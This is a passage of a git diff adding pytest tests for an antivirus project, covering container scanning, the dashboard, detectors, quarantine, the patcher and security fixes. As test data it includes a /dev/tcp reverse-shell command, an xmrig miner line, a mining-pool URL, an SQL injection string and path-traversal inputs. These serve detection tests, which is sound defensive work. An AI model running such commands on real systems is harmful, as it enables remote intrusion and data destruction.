t in threats] + assert "NoResourceLimits.Container" in names + + def test_security_disabled(self): + threats = self._scan_misconfig({ + "HostConfig": {"SecurityOpt": ["seccomp=unconfined"]}, + "Config": {"User": "app"}, + }) + names = [t.threat_name for t in threats] + assert "SecurityDisabled.Container" in names + + def test_clean_config(self): + threats = self._scan_misconfig({ + "HostConfig": {"Memory": 512000000, "CpuQuota": 50000}, + "Config": {"User": "app"}, + }) + # Should have no misconfig threats + assert len(threats) == 0 + + +class TestImageCheck: + def test_latest_tag(self): + ci = ContainerInfo( + container_id="a", name="b", image="nginx:latest", + status="running", runtime="docker", created="", + ) + threats = ContainerScanner._check_image(ci) + assert any("LatestTag" in t.threat_name for t in threats) + + def test_no_tag(self): + ci = ContainerInfo( + container_id="a", name="b", image="nginx", + status="running", runtime="docker", created="", + ) + threats = ContainerScanner._check_image(ci) + assert any("LatestTag" in t.threat_name for t in threats) + + def test_pinned_tag(self): + ci = ContainerInfo( + container_id="a", name="b", image="nginx:1.25.3", + status="running", runtime="docker", created="", + ) + threats = ContainerScanner._check_image(ci) + assert len(threats) == 0 + + +class TestProcessDetection: + def _make_scanner_and_container(self): + s = ContainerScanner() + s._docker_cmd = "/usr/bin/docker" + ci = ContainerInfo( + container_id="abc", name="test", image="img", + status="running", runtime="docker", created="", + ) + return s, ci + + def test_miner_detected(self): + s, ci = self._make_scanner_and_container() + ps_output = ( + "USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\n" + "root 1 95.0 8.0 123456 65432 ? Sl 00:00 1:23 /usr/bin/xmrig --pool pool.example.com" + ) + with patch.object(s, "_run_cmd", return_value=(ps_output, "", 0)): + threats = s._check_processes(ci) + names = [t.threat_name for t in threats] + assert any("CryptoMiner" in n for n in names) + + def test_reverse_shell_detected(self): + s, ci = self._make_scanner_and_container() + ps_output = ( + "USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\n" + "root 1 0.1 0.0 1234 432 ? S 00:00 0:00 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" + ) + with patch.object(s, "_run_cmd", return_value=(ps_output, "", 0)): + threats = s._check_processes(ci) + names = [t.threat_name for t in threats] + assert any("ReverseShell" in n for n in names) + + def test_stopped_container_skipped(self): + s, ci = self._make_scanner_and_container() + ci.status = "stopped" + # _get_exec_prefix returns None for stopped containers + threats = s._check_processes(ci) + assert threats == [] diff --git a/ayn-antivirus/tests/test_dashboard_api.py b/ayn-antivirus/tests/test_dashboard_api.py new file mode 100644 index 0000000..f255917 --- /dev/null +++ b/ayn-antivirus/tests/test_dashboard_api.py @@ -0,0 +1,119 @@ +"""Tests for dashboard API endpoints.""" +import pytest +from aiohttp import web +from ayn_antivirus.dashboard.api import setup_routes, _safe_int +from ayn_antivirus.dashboard.store import DashboardStore +from ayn_antivirus.dashboard.collector import MetricsCollector + + +@pytest.fixture +def store(tmp_path): + s = DashboardStore(str(tmp_path / "test_api.db")) + yield s + s.close() + + +@pytest.fixture +def app(store, tmp_path): + application = web.Application() + application["store"] = store + application["collector"] = MetricsCollector(store, interval=9999) + from ayn_antivirus.config import Config + cfg = Config() + cfg.db_path = str(tmp_path / "sigs.db") + application["config"] = cfg + setup_routes(application) + return application + + +# ------------------------------------------------------------------ +# _safe_int unit tests +# ------------------------------------------------------------------ + +def test_safe_int_valid(): + assert _safe_int("50", 10) == 50 + assert _safe_int("0", 10, min_val=1) == 1 + assert _safe_int("9999", 10, max_val=100) == 100 + + +def test_safe_int_invalid(): + assert _safe_int("abc", 10) == 10 + assert _safe_int("", 10) == 10 + assert _safe_int(None, 10) == 10 + + +# ------------------------------------------------------------------ +# API endpoint tests (async, require aiohttp_client) +# ------------------------------------------------------------------ + +@pytest.mark.asyncio +async def test_health_endpoint(app, aiohttp_client): + client = await aiohttp_client(app) + resp = await client.get("/api/health") + assert resp.status == 200 + data = await resp.json() + assert "cpu_percent" in data + + +@pytest.mark.asyncio +async def test_status_endpoint(app, aiohttp_client): + client = await aiohttp_client(app) + resp = await client.get("/api/status") + assert resp.status == 200 + data = await resp.json() + assert "hostname" in data + + +@pytest.mark.asyncio +async def test_threats_endpoint(app, store, aiohttp_client): + store.record_threat("/tmp/evil", "TestVirus", "malware", "HIGH") + client = await aiohttp_client(app) + resp = await client.get("/api/threats") + assert resp.status == 200 + data = await resp.json() + assert data["count"] >= 1 + + +@pytest.mark.asyncio +async def test_scans_endpoint(app, store, aiohttp_client): + store.record_scan("quick", "/tmp", 100, 5, 0, 2.5) + client = await aiohttp_client(app) + resp = await client.get("/api/scans") + assert resp.status == 200 + data = await resp.json() + assert data["count"] >= 1 + + +@pytest.mark.asyncio +async def test_logs_endpoint(app, store, aiohttp_client): + store.log_activity("Test log", "INFO", "test") + client = await aiohttp_client(app) + resp = await client.get("/api/logs") + assert resp.status == 200 + data = await resp.json() + assert data["count"] >= 1 + + +@pytest.mark.asyncio +async def test_containers_endpoint(app, aiohttp_client): + client = await aiohttp_client(app) + resp = await client.get("/api/containers") + assert resp.status == 200 + data = await resp.json() + assert "runtimes" in data + + +@pytest.mark.asyncio +async def test_definitions_endpoint(app, aiohttp_client): + client = await aiohttp_client(app) + resp = await client.get("/api/definitions") + assert resp.status == 200 + data = await resp.json() + assert "total_hashes" in data + + +@pytest.mark.asyncio +async def test_invalid_query_params(app, aiohttp_client): + client = await aiohttp_client(app) + resp = await client.get("/api/threats?limit=abc") + assert resp.status == 200 # Should not crash, uses default diff --git a/ayn-antivirus/tests/test_dashboard_store.py b/ayn-antivirus/tests/test_dashboard_store.py new file mode 100644 index 0000000..2be3e25 --- /dev/null +++ b/ayn-antivirus/tests/test_dashboard_store.py @@ -0,0 +1,148 @@ +"""Tests for dashboard store.""" +import threading + +import pytest + +from ayn_antivirus.dashboard.store import DashboardStore + + +@pytest.fixture +def store(tmp_path): + s = DashboardStore(str(tmp_path / "test_dashboard.db")) + yield s + s.close() + + +def test_record_and_get_metrics(store): + store.record_metric( + cpu=50.0, mem_pct=60.0, mem_used=4000, mem_total=8000, + disk_usage=[{"mount": "/", "percent": 50}], + load_avg=[1.0, 0.5, 0.3], net_conns=10, + ) + latest = store.get_latest_metrics() + assert latest is not None + assert latest["cpu_percent"] == 50.0 + assert latest["mem_percent"] == 60.0 + assert latest["disk_usage"] == [{"mount": "/", "percent": 50}] + assert latest["load_avg"] == [1.0, 0.5, 0.3] + + +def test_record_and_get_threats(store): + store.record_threat( + "/tmp/evil", "TestVirus", "malware", "HIGH", + "test_det", "abc", "quarantined", "test detail", + ) + threats = store.get_recent_threats(10) + assert len(threats) == 1 + assert threats[0]["threat_name"] == "TestVirus" + assert threats[0]["action_taken"] == "quarantined" + + +def test_threat_stats(store): + store.record_threat("/a", "V1", "malware", "CRITICAL", "d", "", "detected", "") + store.record_threat("/b", "V2", "miner", "HIGH", "d", "", "killed", "") + store.record_threat("/c", "V3", "spyware", "MEDIUM", "d", "", "detected", "") + stats = store.get_threat_stats() + assert stats["total"] == 3 + assert stats["by_severity"]["CRITICAL"] == 1 + assert stats["by_severity"]["HIGH"] == 1 + assert stats["by_severity"]["MEDIUM"] == 1 + assert stats["last_24h"] == 3 + assert stats["last_7d"] == 3 + + +def test_record_and_get_scans(store): + store.record_scan("full", "/", 1000, 50, 2, 10.5) + scans = store.get_recent_scans(10) + assert len(scans) == 1 + assert scans[0]["files_scanned"] == 1000 + assert scans[0]["scan_type"] == "full" + assert scans[0]["status"] == "completed" + + +def test_scan_chart_data(store): + store.record_scan("full", "/", 100, 5, 1, 5.0) + data = store.get_scan_chart_data(30) + assert len(data) >= 1 + row = data[0] + assert "day" in row + assert "scans" in row + assert "threats" in row + + +def test_sig_updates(store): + store.record_sig_update("malwarebazaar", hashes=100, ips=50, domains=20, urls=10) + updates = store.get_recent_sig_updates(10) + assert len(updates) == 1 + assert updates[0]["feed_name"] == "malwarebazaar" + stats = store.get_sig_stats() + assert stats["total_hashes"] == 100 + assert stats["total_ips"] == 50 + assert stats["total_domains"] == 20 + assert stats["total_urls"] == 10 + + +def test_activity_log(store): + store.log_activity("Test message", "INFO", "test") + logs = store.get_recent_logs(10) + assert len(logs) == 1 + assert logs[0]["message"] == "Test message" + assert logs[0]["level"] == "INFO" + assert logs[0]["source"] == "test" + + +def test_metrics_history(store): + store.record_metric( + cpu=10, mem_pct=20, mem_used=1000, mem_total=8000, + disk_usage=[], load_avg=[0.1], net_conns=5, + ) + store.record_metric( + cpu=20, mem_pct=30, mem_used=2000, mem_total=8000, + disk_usage=[], load_avg=[0.2], net_conns=10, + ) + history = store.get_metrics_history(hours=1) + assert len(history) == 2 + assert history[0]["cpu_percent"] == 10 + assert history[1]["cpu_percent"] == 20 + + +def test_cleanup_retains_fresh(store): + """Cleanup with 0 hours should not delete just-inserted metrics.""" + store.record_metric( + cpu=10, mem_pct=20, mem_used=1000, mem_total=8000, + disk_usage=[], load_avg=[], net_conns=0, + ) + store.cleanup_old_metrics(hours=0) + assert store.get_latest_metrics() is not None + + +def test_empty_store_returns_none(store): + """Empty store returns None / empty lists gracefully.""" + assert store.get_latest_metrics() is None + assert store.get_recent_threats(10) == [] + assert store.get_recent_scans(10) == [] + assert store.get_recent_logs(10) == [] + stats = store.get_threat_stats() + assert stats["total"] == 0 + + +def test_thread_safety(store): + """Concurrent writes from multiple threads should not crash.""" + errors = [] + + def writer(n): + try: + for i in range(10): + store.record_metric( + cpu=float(n * 10 + i), mem_pct=50, mem_used=4000, + mem_total=8000, disk_usage=[], load_avg=[], net_conns=0, + ) + except Exception as e: + errors.append(e) + + threads = [threading.Thread(target=writer, args=(i,)) for i in range(5)] + for t in threads: + t.start() + for t in threads: + t.join() + assert len(errors) == 0 diff --git a/ayn-antivirus/tests/test_detectors.py b/ayn-antivirus/tests/test_detectors.py new file mode 100644 index 0000000..dde6200 --- /dev/null +++ b/ayn-antivirus/tests/test_detectors.py @@ -0,0 +1,48 @@ +import os +import tempfile +import pytest + +def test_heuristic_detector_import(): + from ayn_antivirus.detectors.heuristic_detector import HeuristicDetector + detector = HeuristicDetector() + assert detector is not None + +def test_heuristic_suspicious_strings(tmp_path): + from ayn_antivirus.detectors.heuristic_detector import HeuristicDetector + malicious = tmp_path / "evil.php" + malicious.write_text("") + detector = HeuristicDetector() + results = detector.detect(str(malicious)) + assert len(results) > 0 + +def test_cryptominer_detector_import(): + from ayn_antivirus.detectors.cryptominer_detector import CryptominerDetector + detector = CryptominerDetector() + assert detector is not None + +def test_cryptominer_stratum_detection(tmp_path): + from ayn_antivirus.detectors.cryptominer_detector import CryptominerDetector + miner_config = tmp_path / "config.json" + miner_config.write_text('{"url": "stratum+tcp://pool.minexmr.com:4444", "user": "wallet123"}') + detector = CryptominerDetector() + results = detector.detect(str(miner_config)) + assert len(results) > 0 + +def test_spyware_detector_import(): + from ayn_antivirus.detectors.spyware_detector import SpywareDetector + detector = SpywareDetector() + assert detector is not None + +def test_rootkit_detector_import(): + from ayn_antivirus.detectors.rootkit_detector import RootkitDetector + detector = RootkitDetector() + assert detector is not None + +def test_signature_detector_import(): + from ayn_antivirus.detectors.signature_detector import SignatureDetector + assert SignatureDetector is not None + +def test_yara_detector_graceful(): + from ayn_antivirus.detectors.yara_detector import YaraDetector + detector = YaraDetector() + assert detector is not None diff --git a/ayn-antivirus/tests/test_engine.py b/ayn-antivirus/tests/test_engine.py new file mode 100644 index 0000000..cf8e8f2 --- /dev/null +++ b/ayn-antivirus/tests/test_engine.py @@ -0,0 +1,61 @@ +import os +import tempfile +import pytest +from datetime import datetime +from ayn_antivirus.core.engine import ( + ThreatType, Severity, ScanType, ThreatInfo, + ScanResult, FileScanResult, ScanEngine +) +from ayn_antivirus.core.event_bus import EventBus, EventType + +def test_threat_type_enum(): + assert ThreatType.VIRUS.value is not None + assert ThreatType.MINER.value is not None + +def test_severity_enum(): + assert Severity.CRITICAL.value is not None + assert Severity.LOW.value is not None + +def test_threat_info_creation(): + threat = ThreatInfo( + path="/tmp/evil.sh", + threat_name="TestMalware", + threat_type=ThreatType.MALWARE, + severity=Severity.HIGH, + detector_name="test", + details="Test detection", + file_hash="abc123" + ) + assert threat.path == "/tmp/evil.sh" + assert threat.threat_type == ThreatType.MALWARE + +def test_scan_result_creation(): + result = ScanResult( + scan_id="test-123", + start_time=datetime.now(), + end_time=datetime.now(), + files_scanned=100, + files_skipped=5, + threats=[], + scan_path="/tmp", + scan_type=ScanType.QUICK + ) + assert result.files_scanned == 100 + assert len(result.threats) == 0 + +def test_event_bus(): + bus = EventBus() + received = [] + bus.subscribe(EventType.THREAT_FOUND, lambda et, data: received.append(data)) + bus.publish(EventType.THREAT_FOUND, {"test": True}) + assert len(received) == 1 + assert received[0]["test"] == True + +def test_scan_clean_file(tmp_path): + clean_file = tmp_path / "clean.txt" + clean_file.write_text("This is a perfectly normal text file with nothing suspicious.") + from ayn_antivirus.config import Config + config = Config() + engine = ScanEngine(config) + result = engine.scan_file(str(clean_file)) + assert isinstance(result, FileScanResult) diff --git a/ayn-antivirus/tests/test_event_bus.py b/ayn-antivirus/tests/test_event_bus.py new file mode 100644 index 0000000..ebaf807 --- /dev/null +++ b/ayn-antivirus/tests/test_event_bus.py @@ -0,0 +1,117 @@ +"""Tests for the event bus pub/sub system.""" +import pytest + +from ayn_antivirus.core.event_bus import EventBus, EventType + + +def test_subscribe_and_publish(): + bus = EventBus() + received = [] + bus.subscribe(EventType.THREAT_FOUND, lambda et, data: received.append(data)) + bus.publish(EventType.THREAT_FOUND, {"test": True}) + assert len(received) == 1 + assert received[0]["test"] is True + + +def test_multiple_subscribers(): + bus = EventBus() + r1, r2 = [], [] + bus.subscribe(EventType.SCAN_STARTED, lambda et, d: r1.append(d)) + bus.subscribe(EventType.SCAN_STARTED, lambda et, d: r2.append(d)) + bus.publish(EventType.SCAN_STARTED, "go") + assert len(r1) == 1 + assert len(r2) == 1 + + +def test_unsubscribe(): + bus = EventBus() + received = [] + cb = lambda et, d: received.append(d) + bus.subscribe(EventType.FILE_SCANNED, cb) + bus.unsubscribe(EventType.FILE_SCANNED, cb) + bus.publish(EventType.FILE_SCANNED, "data") + assert len(received) == 0 + + +def test_unsubscribe_nonexistent(): + """Unsubscribing a callback that was never registered should not crash.""" + bus = EventBus() + bus.unsubscribe(EventType.FILE_SCANNED, lambda et, d: None) + + +def test_publish_no_subscribers(): + """Publishing with no subscribers should not crash.""" + bus = EventBus() + bus.publish(EventType.SCAN_COMPLETED, "no crash") + + +def test_subscriber_exception_isolated(): + """A failing subscriber must not prevent other subscribers from running.""" + bus = EventBus() + received = [] + bus.subscribe(EventType.THREAT_FOUND, lambda et, d: 1 / 0) # will raise + bus.subscribe(EventType.THREAT_FOUND, lambda et, d: received.append(d)) + bus.publish(EventType.THREAT_FOUND, "data") + assert len(received) == 1 + + +def test_all_event_types(): + """Every EventType value can be published without error.""" + bus = EventBus() + for et in EventType: + bus.publish(et, None) + + +def test_clear_all(): + bus = EventBus() + received = [] + bus.subscribe(EventType.THREAT_FOUND, lambda et, d: received.append(d)) + bus.subscribe(EventType.SCAN_STARTED, lambda et, d: received.append(d)) + bus.clear() + bus.publish(EventType.THREAT_FOUND, "a") + bus.publish(EventType.SCAN_STARTED, "b") + assert len(received) == 0 + + +def test_clear_single_event(): + bus = EventBus() + r1, r2 = [], [] + bus.subscribe(EventType.THREAT_FOUND, lambda et, d: r1.append(d)) + bus.subscribe(EventType.SCAN_STARTED, lambda et, d: r2.append(d)) + bus.clear(EventType.THREAT_FOUND) + bus.publish(EventType.THREAT_FOUND, "a") + bus.publish(EventType.SCAN_STARTED, "b") + assert len(r1) == 0 # cleared + assert len(r2) == 1 # still active + + +def test_callback_receives_event_type(): + """Callback receives (event_type, data) — verify event_type is correct.""" + bus = EventBus() + calls = [] + bus.subscribe(EventType.QUARANTINE_ACTION, lambda et, d: calls.append((et, d))) + bus.publish(EventType.QUARANTINE_ACTION, "payload") + assert calls[0][0] is EventType.QUARANTINE_ACTION + assert calls[0][1] == "payload" + + +def test_duplicate_subscribe(): + """Subscribing the same callback twice should only register it once.""" + bus = EventBus() + received = [] + cb = lambda et, d: received.append(d) + bus.subscribe(EventType.SCAN_COMPLETED, cb) + bus.subscribe(EventType.SCAN_COMPLETED, cb) + bus.publish(EventType.SCAN_COMPLETED, "x") + assert len(received) == 1 + + +def test_event_type_values(): + """All expected event types exist.""" + expected = { + "THREAT_FOUND", "SCAN_STARTED", "SCAN_COMPLETED", "FILE_SCANNED", + "SIGNATURE_UPDATED", "QUARANTINE_ACTION", "REMEDIATION_ACTION", + "DASHBOARD_METRIC", + } + actual = {et.name for et in EventType} + assert expected == actual diff --git a/ayn-antivirus/tests/test_monitor.py b/ayn-antivirus/tests/test_monitor.py new file mode 100644 index 0000000..e00d063 --- /dev/null +++ b/ayn-antivirus/tests/test_monitor.py @@ -0,0 +1,95 @@ +"""Tests for real-time monitor.""" +import pytest +import time +from ayn_antivirus.monitor.realtime import RealtimeMonitor +from ayn_antivirus.core.engine import ScanEngine +from ayn_antivirus.config import Config + + +@pytest.fixture +def monitor(tmp_path): + config = Config() + engine = ScanEngine(config) + m = RealtimeMonitor(config, engine) + yield m + if m.is_running: + m.stop() + + +def test_monitor_init(monitor): + assert monitor is not None + assert monitor.is_running is False + + +def test_monitor_should_skip(): + """Temporary / lock / editor files should be skipped.""" + config = Config() + engine = ScanEngine(config) + m = RealtimeMonitor(config, engine) + + assert m._should_skip("/tmp/test.tmp") is True + assert m._should_skip("/tmp/test.swp") is True + assert m._should_skip("/tmp/test.lock") is True + assert m._should_skip("/tmp/.#backup") is True + assert m._should_skip("/tmp/test.part") is True + + assert m._should_skip("/tmp/test.txt") is False + assert m._should_skip("/tmp/test.py") is False + assert m._should_skip("/var/www/index.html") is False + + +def test_monitor_debounce(monitor): + """After the first call records the path, an immediate repeat is debounced.""" + import time as _time + + # Prime the path so it's recorded with the current monotonic time. + # On fresh processes, monotonic() can be close to 0.0 which is the + # default in _recent, so we explicitly set a realistic timestamp. + monitor._recent["/tmp/test.txt"] = _time.monotonic() - 10 + assert monitor._is_debounced("/tmp/test.txt") is False + # Immediate second call should be debounced (within 2s window) + assert monitor._is_debounced("/tmp/test.txt") is True + + +def test_monitor_debounce_different_paths(monitor): + """Different paths should not debounce each other.""" + import time as _time + + # Prime both paths far enough in the past to avoid the initial-value edge case + past = _time.monotonic() - 10 + monitor._recent["/tmp/a.txt"] = past + monitor._recent["/tmp/b.txt"] = past + assert monitor._is_debounced("/tmp/a.txt") is False + assert monitor._is_debounced("/tmp/b.txt") is False + + +def test_monitor_start_stop(tmp_path, monitor): + monitor.start(paths=[str(tmp_path)], recursive=True) + assert monitor.is_running is True + time.sleep(0.3) + monitor.stop() + assert monitor.is_running is False + + +def test_monitor_double_start(tmp_path, monitor): + """Starting twice should be harmless.""" + monitor.start(paths=[str(tmp_path)]) + assert monitor.is_running is True + monitor.start(paths=[str(tmp_path)]) # Should log warning, not crash + assert monitor.is_running is True + monitor.stop() + + +def test_monitor_stop_when_not_running(monitor): + """Stopping when not running should be harmless.""" + assert monitor.is_running is False + monitor.stop() + assert monitor.is_running is False + + +def test_monitor_nonexistent_path(monitor): + """Non-existent paths should be skipped without crash.""" + monitor.start(paths=["/nonexistent/path/xyz123"]) + # Should still be running (observer started, just no schedules) + assert monitor.is_running is True + monitor.stop() diff --git a/ayn-antivirus/tests/test_patcher.py b/ayn-antivirus/tests/test_patcher.py new file mode 100644 index 0000000..bef8cac --- /dev/null +++ b/ayn-antivirus/tests/test_patcher.py @@ -0,0 +1,139 @@ +"""Tests for auto-patcher.""" +import pytest +import os +import stat +from ayn_antivirus.remediation.patcher import AutoPatcher, RemediationAction + + +def test_patcher_init(): + p = AutoPatcher(dry_run=True) + assert p.dry_run is True + assert p.actions == [] + + +def test_patcher_init_live(): + p = AutoPatcher(dry_run=False) + assert p.dry_run is False + + +def test_fix_permissions_dry_run(tmp_path): + f = tmp_path / "test.sh" + f.write_text("#!/bin/bash") + f.chmod(0o4755) # SUID + p = AutoPatcher(dry_run=True) + action = p.fix_permissions(str(f)) + assert action is not None + assert action.success is True + assert action.dry_run is True + # In dry run, file should still have SUID + assert f.stat().st_mode & stat.S_ISUID + + +def test_fix_permissions_real(tmp_path): + f = tmp_path / "test.sh" + f.write_text("#!/bin/bash") + f.chmod(0o4755) # SUID + p = AutoPatcher(dry_run=False) + action = p.fix_permissions(str(f)) + assert action.success is True + # SUID should be stripped + assert not (f.stat().st_mode & stat.S_ISUID) + + +def test_fix_permissions_already_safe(tmp_path): + f = tmp_path / "safe.txt" + f.write_text("hello") + f.chmod(0o644) + p = AutoPatcher(dry_run=False) + action = p.fix_permissions(str(f)) + assert action.success is True + assert "already safe" in action.details + + +def test_fix_permissions_sgid(tmp_path): + f = tmp_path / "sgid.sh" + f.write_text("#!/bin/bash") + f.chmod(0o2755) # SGID + p = AutoPatcher(dry_run=False) + action = p.fix_permissions(str(f)) + assert action.success is True + assert not (f.stat().st_mode & stat.S_ISGID) + + +def test_fix_permissions_world_writable(tmp_path): + f = tmp_path / "ww.txt" + f.write_text("data") + f.chmod(0o777) # World-writable + p = AutoPatcher(dry_run=False) + action = p.fix_permissions(str(f)) + assert action.success is True + assert not (f.stat().st_mode & stat.S_IWOTH) + + +def test_block_domain_dry_run(): + p = AutoPatcher(dry_run=True) + action = p.block_domain("evil.example.com") + assert action is not None + assert action.success is True + assert action.dry_run is True + assert "evil.example.com" in action.target + + +def test_block_ip_dry_run(): + p = AutoPatcher(dry_run=True) + action = p.block_ip("1.2.3.4") + assert action.success is True + assert action.dry_run is True + assert "1.2.3.4" in action.target + + +def test_remediate_threat_dry_run(tmp_path): + # Create a dummy file + f = tmp_path / "malware.bin" + f.write_text("evil_payload") + f.chmod(0o4755) + + p = AutoPatcher(dry_run=True) + threat = { + "path": str(f), + "threat_name": "Test.Malware", + "threat_type": "MALWARE", + "severity": "HIGH", + } + actions = p.remediate_threat(threat) + assert isinstance(actions, list) + assert len(actions) >= 1 + # Should have at least a fix_permissions action + action_names = [a.action for a in actions] + assert "fix_permissions" in action_names + + +def test_remediate_threat_miner_with_domain(): + p = AutoPatcher(dry_run=True) + threat = { + "threat_type": "MINER", + "domain": "pool.evil.com", + "ip": "1.2.3.4", + } + actions = p.remediate_threat(threat) + action_names = [a.action for a in actions] + assert "block_domain" in action_names + assert "block_ip" in action_names + + +def test_remediation_action_dataclass(): + a = RemediationAction( + action="test_action", target="/tmp/test", details="testing", + success=True, dry_run=True, + ) + assert a.action == "test_action" + assert a.target == "/tmp/test" + assert a.success is True + assert a.dry_run is True + + +def test_fix_ld_preload_missing(): + """ld.so.preload doesn't exist — should succeed gracefully.""" + p = AutoPatcher(dry_run=True) + action = p.fix_ld_preload() + assert action.success is True diff --git a/ayn-antivirus/tests/test_quarantine.py b/ayn-antivirus/tests/test_quarantine.py new file mode 100644 index 0000000..03eb578 --- /dev/null +++ b/ayn-antivirus/tests/test_quarantine.py @@ -0,0 +1,50 @@ +import os +import pytest +from ayn_antivirus.quarantine.vault import QuarantineVault + +def test_quarantine_and_restore(tmp_path): + vault_dir = tmp_path / "vault" + key_file = tmp_path / "keys" / "vault.key" + vault = QuarantineVault(str(vault_dir), str(key_file)) + + test_file = tmp_path / "malware.txt" + test_file.write_text("this is malicious content") + + threat_info = { + "threat_name": "TestVirus", + "threat_type": "virus", + "severity": "high" + } + qid = vault.quarantine_file(str(test_file), threat_info) + assert qid is not None + assert not test_file.exists() + assert vault.count() == 1 + + restore_path = tmp_path / "restored.txt" + vault.restore_file(qid, str(restore_path)) + assert restore_path.exists() + assert restore_path.read_text() == "this is malicious content" + +def test_quarantine_list(tmp_path): + vault_dir = tmp_path / "vault" + key_file = tmp_path / "keys" / "vault.key" + vault = QuarantineVault(str(vault_dir), str(key_file)) + + test_file = tmp_path / "test.txt" + test_file.write_text("content") + vault.quarantine_file(str(test_file), {"threat_name": "Test", "threat_type": "virus", "severity": "low"}) + + items = vault.list_quarantined() + assert len(items) == 1 + +def test_quarantine_delete(tmp_path): + vault_dir = tmp_path / "vault" + key_file = tmp_path / "keys" / "vault.key" + vault = QuarantineVault(str(vault_dir), str(key_file)) + + test_file = tmp_path / "test.txt" + test_file.write_text("content") + qid = vault.quarantine_file(str(test_file), {"threat_name": "Test", "threat_type": "virus", "severity": "low"}) + + assert vault.delete_file(qid) == True + assert vault.count() == 0 diff --git a/ayn-antivirus/tests/test_reports.py b/ayn-antivirus/tests/test_reports.py new file mode 100644 index 0000000..c56d3aa --- /dev/null +++ b/ayn-antivirus/tests/test_reports.py @@ -0,0 +1,54 @@ +import json +import pytest +from datetime import datetime +from ayn_antivirus.core.engine import ScanResult, ScanType, ThreatInfo, ThreatType, Severity +from ayn_antivirus.reports.generator import ReportGenerator + +def _make_scan_result(): + return ScanResult( + scan_id="test-001", + start_time=datetime.now(), + end_time=datetime.now(), + files_scanned=500, + files_skipped=10, + threats=[ + ThreatInfo( + path="/tmp/evil.sh", + threat_name="ReverseShell", + threat_type=ThreatType.MALWARE, + severity=Severity.CRITICAL, + detector_name="heuristic", + details="Reverse shell detected", + file_hash="abc123" + ) + ], + scan_path="/tmp", + scan_type=ScanType.FULL + ) + +def test_text_report(): + gen = ReportGenerator() + result = _make_scan_result() + text = gen.generate_text(result) + assert "AYN ANTIVIRUS" in text + assert "ReverseShell" in text + +def test_json_report(): + gen = ReportGenerator() + result = _make_scan_result() + j = gen.generate_json(result) + data = json.loads(j) + assert data["summary"]["total_threats"] == 1 + +def test_html_report(): + gen = ReportGenerator() + result = _make_scan_result() + html = gen.generate_html(result) + assert "= 2 + + +def test_schedule_update(): + config = Config() + s = Scheduler(config) + s.schedule_update(interval_hours=6) + jobs = s._scheduler.get_jobs() + assert len(jobs) >= 1 + + +def test_parse_cron_field_literal(): + assert _parse_cron_field("5", 0, 59) == [5] + + +def test_parse_cron_field_comma(): + assert _parse_cron_field("1,3,5", 0, 59) == [1, 3, 5] + + +def test_parse_cron_field_wildcard(): + result = _parse_cron_field("*", 0, 6) + assert result == [0, 1, 2, 3, 4, 5, 6] diff --git a/ayn-antivirus/tests/test_security.py b/ayn-antivirus/tests/test_security.py new file mode 100644 index 0000000..b0134ee --- /dev/null +++ b/ayn-antivirus/tests/test_security.py @@ -0,0 +1,197 @@ +"""Security tests — validate fixes for audit findings.""" +import os +import tempfile + +import pytest + + +# ----------------------------------------------------------------------- +# Fix 2: SQL injection in ioc_db._count() +# ----------------------------------------------------------------------- + +class TestIOCTableWhitelist: + @pytest.fixture(autouse=True) + def setup_db(self, tmp_path): + from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + + self.db = IOCDatabase(tmp_path / "test_ioc.db") + self.db.initialize() + yield + self.db.close() + + def test_valid_tables(self): + for table in ("ioc_ips", "ioc_domains", "ioc_urls"): + assert self.db._count(table) >= 0 + + def test_injection_blocked(self): + with pytest.raises(ValueError, match="Invalid table"): + self.db._count("ioc_ips; DROP TABLE ioc_ips; --") + + def test_arbitrary_table_blocked(self): + with pytest.raises(ValueError, match="Invalid table"): + self.db._count("evil_table") + + def test_valid_tables_frozenset(self): + from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + + assert isinstance(IOCDatabase._VALID_TABLES, frozenset) + assert IOCDatabase._VALID_TABLES == {"ioc_ips", "ioc_domains", "ioc_urls"} + + +# ----------------------------------------------------------------------- +# Fix 4: Quarantine ID path traversal +# ----------------------------------------------------------------------- + +class TestQuarantineIDValidation: + @pytest.fixture(autouse=True) + def setup_vault(self, tmp_path): + from ayn_antivirus.quarantine.vault import QuarantineVault + + self.vault = QuarantineVault( + tmp_path / "vault", tmp_path / "vault" / ".key" + ) + + def test_traversal_blocked(self): + with pytest.raises(ValueError, match="Invalid quarantine ID"): + self.vault._validate_qid("../../etc/passwd") + + def test_too_short(self): + with pytest.raises(ValueError, match="Invalid quarantine ID"): + self.vault._validate_qid("abc") + + def test_too_long(self): + with pytest.raises(ValueError, match="Invalid quarantine ID"): + self.vault._validate_qid("a" * 33) + + def test_non_hex(self): + with pytest.raises(ValueError, match="Invalid quarantine ID"): + self.vault._validate_qid("GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG") + + def test_uppercase_hex_rejected(self): + with pytest.raises(ValueError, match="Invalid quarantine ID"): + self.vault._validate_qid("A" * 32) + + def test_valid_id(self): + assert self.vault._validate_qid("a" * 32) == "a" * 32 + assert self.vault._validate_qid("0123456789abcdef" * 2) == "0123456789abcdef" * 2 + + def test_whitespace_stripped(self): + padded = " " + "a" * 32 + " " + assert self.vault._validate_qid(padded) == "a" * 32 + + +# ----------------------------------------------------------------------- +# Fix 3: Quarantine restore path traversal +# ----------------------------------------------------------------------- + +class TestRestorePathValidation: + @pytest.fixture(autouse=True) + def setup_vault(self, tmp_path): + from ayn_antivirus.quarantine.vault import QuarantineVault + + self.vault = QuarantineVault( + tmp_path / "vault", tmp_path / "vault" / ".key" + ) + + def test_etc_blocked(self): + with pytest.raises(ValueError, match="protected path"): + self.vault._validate_restore_path("/etc/shadow") + + def test_usr_bin_blocked(self): + with pytest.raises(ValueError, match="protected path"): + self.vault._validate_restore_path("/usr/bin/evil") + + def test_cron_blocked(self): + with pytest.raises(ValueError, match="Refusing to restore"): + self.vault._validate_restore_path("/etc/cron.d/backdoor") + + def test_systemd_blocked(self): + with pytest.raises(ValueError, match="Refusing to restore"): + self.vault._validate_restore_path("/etc/systemd/system/evil.service") + + def test_safe_path_allowed(self): + result = self.vault._validate_restore_path("/tmp/restored.txt") + assert result.name == "restored.txt" + + +# ----------------------------------------------------------------------- +# Fix 5: Container scanner command injection +# ----------------------------------------------------------------------- + +class TestContainerIDSanitization: + @pytest.fixture(autouse=True) + def setup_scanner(self): + from 